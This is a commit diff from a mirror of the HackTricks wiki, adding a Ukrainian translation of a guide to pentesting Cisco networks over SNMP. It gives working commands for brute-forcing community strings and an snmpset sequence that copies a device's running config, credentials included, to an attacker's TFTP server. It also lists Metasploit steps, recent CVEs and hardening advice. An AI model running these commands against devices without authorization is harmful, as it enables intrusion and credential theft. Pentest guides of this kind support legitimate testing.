mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp.
This commit is contained in:
parent
e38513bf20
commit
cdf198add0
@ -4,34 +4,92 @@
|
||||
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які слугують паролями, що дозволяють зв'язок між SNMP агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запису (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої.
|
||||
**SNMP** функціонує через UDP з портами **161/UDP** для загальних повідомлень та **162/UDP** для повідомлень про трепи. Цей протокол покладається на *community strings*, які слугують у вигляді простих "паролів", що дозволяють зв'язок між SNMP агентами та менеджерами. Ці рядки визначають рівень доступу, зокрема **тільки для читання (RO) або читання та запису (RW) дозволи**.
|
||||
|
||||
Практичним інструментом для виконання таких брутфорс-атак є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає список потенційних рядків спільноти та IP-адрес цілей:
|
||||
Класичний — але все ще надзвичайно ефективний — вектор атаки полягає в **брутфорсингу community strings** для підвищення з неавтентифікованого користувача до адміністратора пристрою (RW community). Практичним інструментом для цього завдання є [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
onesixtyone -c community_strings.txt -i targets.txt
|
||||
```
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Фреймворк Metasploit містить модуль `cisco_config_tftp`, що полегшує витягування конфігурацій пристроїв, залежно від отримання RW community string. Основні параметри для цієї операції включають:
|
||||
|
||||
- RW community string (**COMMUNITY**)
|
||||
- IP-адреса атакуючого (**LHOST**)
|
||||
- IP-адреса цільового пристрою (**RHOSTS**)
|
||||
- Шлях призначення для конфігураційних файлів (**OUTPUTDIR**)
|
||||
|
||||
Після налаштування цей модуль дозволяє завантажувати налаштування пристрою безпосередньо в зазначену папку.
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
Ще один модуль Metasploit, **`snmp_enum`**, спеціалізується на зборі детальної інформації про апаратуру. Він працює з будь-яким типом community string і вимагає IP-адресу цілі для успішного виконання:
|
||||
Інші швидкі варіанти - це скрипт Nmap NSE `snmp-brute` або модуль SNMP Hydra:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
|
||||
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
|
||||
```
|
||||
---
|
||||
|
||||
### Витягування конфігурації через SNMP (CISCO-CONFIG-COPY-MIB)
|
||||
Якщо ви отримали **RW community**, ви можете скопіювати running-config/startup-config на TFTP/FTP сервер *без доступу до CLI*, зловживаючи CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Два поширені підходи:
|
||||
|
||||
1. **Nmap NSE – `snmp-ios-config`**
|
||||
```bash
|
||||
nmap -sU -p161 --script snmp-ios-config \
|
||||
--script-args creds.snmp=private 192.168.66.1
|
||||
```
|
||||
Скрипт автоматично організовує операцію копіювання та виводить конфігурацію на stdout.
|
||||
|
||||
2. **Ручна послідовність `snmpset`**
|
||||
```bash
|
||||
# Copy running-config (4) to a TFTP server (1) – random row id 1234
|
||||
snmpset -v2c -c private 192.168.66.1 \
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
|
||||
```
|
||||
Ідентифікатори рядків є *однократними*; повторне використання протягом п'яти хвилин викликає помилки `inconsistentValue`.
|
||||
|
||||
Як тільки файл буде на вашому TFTP сервері, ви зможете перевірити облікові дані (`enable secret`, `username <user> secret` тощо) або навіть надіслати змінену конфігурацію назад на пристрій.
|
||||
|
||||
---
|
||||
|
||||
### Метасploit корисності
|
||||
|
||||
* **`cisco_config_tftp`** – завантажує running-config/startup-config через TFTP після зловживання тією ж MIB.
|
||||
* **`snmp_enum`** – збирає інформацію про інвентаризацію пристроїв, VLAN, описи інтерфейсів, таблиці ARP тощо.
|
||||
```bash
|
||||
use auxiliary/scanner/snmp/snmp_enum
|
||||
set RHOSTS 10.10.100.10
|
||||
set COMMUNITY public
|
||||
run
|
||||
```
|
||||
---
|
||||
|
||||
## Останні вразливості Cisco SNMP (2023 – 2025)
|
||||
Слідкування за рекомендаціями постачальників корисне для визначення можливостей *zero-day-to-n-day* під час залучення:
|
||||
|
||||
| Рік | CVE | Вразлива функція | Вплив |
|
||||
|------|-----|-----------------|--------|
|
||||
| 2025 | CVE-2025-20174 | Підсистема SNMP | Сформований пакет призводить до автентифікованого *DoS* (перезавантаження) на IOS/IOS-XE (v1/v2c/v3). |
|
||||
| 2024 | CVE-2024-20373 | Обробка IPv4 ACL | Неправильно налаштовані **розширені** ACL тихо *падають*, дозволяючи неавтентифіковане опитування SNMP, коли відома дійсна спільнота/користувач. |
|
||||
| 2025 | (немає CVE поки) | Обхід обмеження конфігурації SNMPv3 | Дійсний користувач v3 може опитувати з адрес, які повинні бути заборонені. |
|
||||
|
||||
Експлуатованість часто все ще залежить від наявності рядка спільноти або облікових даних v3 — ще одна причина, чому їх брутфорсинг залишається актуальним.
|
||||
|
||||
---
|
||||
|
||||
## Поради з посилення безпеки та виявлення
|
||||
|
||||
* Оновіть до виправленої версії IOS/IOS-XE (див. рекомендацію Cisco для вказаного CVE).
|
||||
* Вибирайте **SNMPv3** з `authPriv` (SHA-256/AES-256) замість v1/v2c.
|
||||
```
|
||||
snmp-server group SECURE v3 priv
|
||||
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
|
||||
```
|
||||
* Прив'яжіть SNMP до управлінського VRF та **обмежте за допомогою *стандартних* нумерованих IPv4 ACL** (розширені іменовані ACL є ризикованими – CVE-2024-20373).
|
||||
* Вимкніть **RW спільноти**; якщо це необхідно для роботи, обмежте їх за допомогою ACL та переглядів:
|
||||
`snmp-server community <string> RW 99 view SysView`
|
||||
* Моніторте:
|
||||
- Сплески UDP/161 або несподівані джерела (правила SIEM).
|
||||
- Події `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource`, що вказують на зміни конфігурації поза межами каналу.
|
||||
* Увімкніть **SNMPv3 логування** та `snmp-server packetsize 1500`, щоб зменшити певні вектори DoS.
|
||||
|
||||
---
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
- Cisco: *Як копіювати конфігурації до та з пристроїв Cisco за допомогою SNMP*
|
||||
- Cisco Security Advisory *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user